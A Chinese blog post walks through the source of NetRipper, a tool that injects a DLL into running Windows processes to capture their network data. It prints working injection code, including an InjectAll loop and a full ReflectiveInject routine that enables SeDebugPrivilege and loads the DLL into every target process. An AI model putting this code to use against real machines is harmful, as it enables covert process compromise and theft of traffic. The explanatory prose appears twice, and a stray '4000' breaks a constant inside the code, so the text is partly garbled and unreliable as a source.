NetRipper源码
2017-03-05 10:46
120 查看
NetRipper:
主函数
int _tmain(int argc,char* argv[]) 是主函数。函数先读取输入参数,如果参数只有一个就PrintHelp(),如果参数个数等于3,则解析参数,如果参数不是以’-‘开头,则inject DLL,第二个参数是DLL的地址,第三个参数是process名,并:
除了参数是一个或者三个,则继续执行后面代码,此时应当是生成新的NewDLL.dll,此处为了生成新的DLL,parse了以下参数“sDLL,sLocation,sPlian,sLimit,sFinder”,并将其拼接成一个字符串:
随后输出提示信息:
而其中的GenerateData()以及ReplaceData()应当就是用sFileData替换之前DLL中的某些参数,生成新的Dll。
Inject
上面介绍的都是参数的parse以及根据参数生成新的DLL的过程,而当NetRipper.exe真正运行的时候主要是实现Inject
InjectAll传入的连个参数第一个是所使用的DLL的路径,第二个参数是标识是使用Reflective注入还是Normal注入,代码如下:
先利用GetProcess()得到进程列表,随后调用ReflectiveInject()进行注入,若失败则进行NormalInject()注入。
GetProcesses()函数是获取进程列表,利用API函数CreateToolhelp32Snapshot()获取一个hSnapshot HANDLE,随后通过Process32Next(hSnapshot,&hProcess)循环获取进程,将得到的每个进程通过push__back添加到vProcesses中,已得到进程列表。
NormalInject()函数是使用一般的DLL注入方法,大概原理是:在当前进程a中开启一个远程线程(利用CreateRemoteThread()创建,注意这里创建的是另外一个进程b的线程)来调用LoadLibraryA()函数,将DLL路径字符串指针作为参数,利用LoadLibraryA()函数载入DLL(在调用此函数时利用GetProcAddress()获取LoadLibraryA()函数的内存地址)。
ReflectiveInject()函数是利用反射DLL注入。因为Normalinject需要进程a来去开启一个进程b中的一个县城来调用LoadLibraryA(),实际测试场景中可能并没有进程a,于是就有了反射DLL注入,具体讲解参考这篇文章。大概是直接将DLL读入内存,通过 LoadRemoteLibraryR()加载DLL,代码如下:
另外在Inject时,会有一个判断,是调用injectAllByname()还是InjectAll(),这个看函数名就知道是在干嘛了吧,其内部的逻辑都是利用上面所说的NormalInject或者ReflectiveInjective。
主函数
int _tmain(int argc,char* argv[]) 是主函数。函数先读取输入参数,如果参数只有一个就PrintHelp(),如果参数个数等于3,则解析参数,如果参数不是以’-‘开头,则inject DLL,第二个参数是DLL的地址,第三个参数是process名,并:
cout << "Trying to inject " << sDLL << " in " << sProcess << endl; if(sProcess.compare("ALL") == 0) InjectAll(sDLL, TRUE); else InjectAllByName(sDLL, sProcess, TRUE);
除了参数是一个或者三个,则继续执行后面代码,此时应当是生成新的NewDLL.dll,此处为了生成新的DLL,parse了以下参数“sDLL,sLocation,sPlian,sLimit,sFinder”,并将其拼接成一个字符串:
string sFinalData = "plaintext=" + sPlain + ";datalimit=" + sLimit + ";stringfinder=" + sFinder + ";"+ "data_path=" + sLocation + ";";
随后输出提示信息:
if(ReplaceData(sDLL, GenerateData(sFinalData)) == true) cout << endl << "DLL succesfully created: " << TEMP_DLL_FILE << endl; else cout << endl << "Cannot create DLL " << TEMP_DLL_FILE << endl;
而其中的GenerateData()以及ReplaceData()应当就是用sFileData替换之前DLL中的某些参数,生成新的Dll。
Inject
上面介绍的都是参数的parse以及根据参数生成新的DLL的过程,而当NetRipper.exe真正运行的时候主要是实现Inject
cout << "Trying to inject " << sDLL << " in " << sProcess << endl; if(sProcess.compare("ALL") == 0) InjectAll(sDLL, TRUE); else InjectAllByName(sDLL, sProcess, TRUE);
InjectAll传入的连个参数第一个是所使用的DLL的路径,第二个参数是标识是使用Reflective注入还是Normal注入,代码如下:
void InjectAll(string p_sDLLName, BOOL p_bReflectiveInject) { vector<PROCESSENTRY32> vProcesses = GetProcesses(); // Check all processes for(size_t i = 0; i < vProcesses.size(); i++) { if(p_bReflectiveInject) { if(ReflectiveInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE) cout << "Reflective injected in: " << vProcesses[i].th32ProcessID << endl; } else { if(NormalInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE) cout << "Injected in: " << vProcesses[i].th32ProcessID << endl; } } }
先利用GetProcess()得到进程列表,随后调用ReflectiveInject()进行注入,若失败则进行NormalInject()注入。
GetProcesses()函数是获取进程列表,利用API函数CreateToolhelp32Snapshot()获取一个hSnapshot HANDLE,随后通过Process32Next(hSnapshot,&hProcess)循环获取进程,将得到的每个进程通过push__back添加到vProcesses中,已得到进程列表。
NormalInject()函数是使用一般的DLL注入方法,大概原理是:在当前进程a中开启一个远程线程(利用CreateRemoteThread()创建,注意这里创建的是另外一个进程b的线程)来调用LoadLibraryA()函数,将DLL路径字符串指针作为参数,利用LoadLibraryA()函数载入DLL(在调用此函数时利用GetProcAddress()获取LoadLibraryA()函数的内存地址)。
ReflectiveInject()函数是利用反射DLL注入。因为Normalinject需要进程a来去开启一个进程b中的一个县城来调用LoadLibraryA(),实际测试场景中可能并没有进程a,于是就有了反射DLL注入,具体讲解参考这篇文章。大概是直接将DLL读入内存,通过 LoadRemoteLibraryR()加载DLL,代码如下:
BOOL ReflectiveInject(string p_sDLLName, DWORD p_dwID) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; TOKEN_PRIVILEGES priv = {0}; BOOL bResult = TRUE; BOOL bIs32Bit = FALSE; do { // Open DLL for read hFile = CreateFileA( p_sDLLName.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) { cout << "Cannot read DLL file: " << p_sDLLName << endl; bResult = FALSE; break; } // Get DLL size dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) { cout << "Failed to get the DLL file size" << endl; bResult = FALSE; break; } // Allocate space for DLL lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) { cout << "Failed to get the DLL file size" << endl; bResult = FALSE; break; } // Read DLL if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) { cout << "Failed to alloc a buffer!" << endl; bResult = FALSE; break; } // Adjust privileges if( OpenProcessToken( GetCurrentProcess(), TOKEN_AD 4000 JUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } // Open target process hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, p_dwID ); if( !hProcess ) { cout << "Failed to open the target process" << endl; bResult = FALSE; break; } // Check if Windows is 64 bit if(IsWindows64()) { // Check if process is 32 bit bResult = IsWow64Process(hProcess, &bIs32Bit); if(bResult == 0) { cout << "Error: Cannot verify if process " << p_dwID << " is 32 bit!" << endl; bResult = FALSE; break; } if(!bIs32Bit) { cout << "Error: Process " << p_dwID << " is NOT 32 bit!" << endl; bResult = FALSE; break; } } // Inject reflective DLL hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) { cout << "Failed to inject the DLL in process: "<< p_dwID << endl; bResult = FALSE; break; } WaitForSingleObject( hModule, -1 ); } while(0); // Cleanup if( hFile ) CloseHandle( hFile ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return bResult; }
另外在Inject时,会有一个判断,是调用injectAllByname()还是InjectAll(),这个看函数名就知道是在干嘛了吧,其内部的逻辑都是利用上面所说的NormalInject或者ReflectiveInjective。
相关文章推荐
- drupal中hook_menu()使用
- C++实现inline hook的原理及应用实例
- 纯C#实现Hook功能详解
- C# Hook钩子实例代码 截取键盘输入
- 基于C#实现的HOOK键盘钩子实例代码
- Inline Hook(ring3)的简单C++实现方法
- 解析WordPress中函数钩子hook的作用及基本用法
- C++基于hook iat改变Messagebox实例
- CI框架源码解读之利用Hook.php文件完成功能扩展的方法
- python利用hook技术破解https的实例代码
- IOS App 无代码入侵的方法hook详细介绍
- 为PostgreSQL添加插件
- CI框架源码解读之利用Hook.php文件完成功能扩展的方法
- EAT Hook
- 使用kprobes,截获execve系统调用,更谨慎的hook syscallTable的写法
- cracker's DS Hooking Tutorial
- gdb演示Android ELF的GOT Hook
- 1.x版本的LBE实现联网权限管理的原理
- hook技术
- HooK GetModuleHandleA 脱壳辅助工具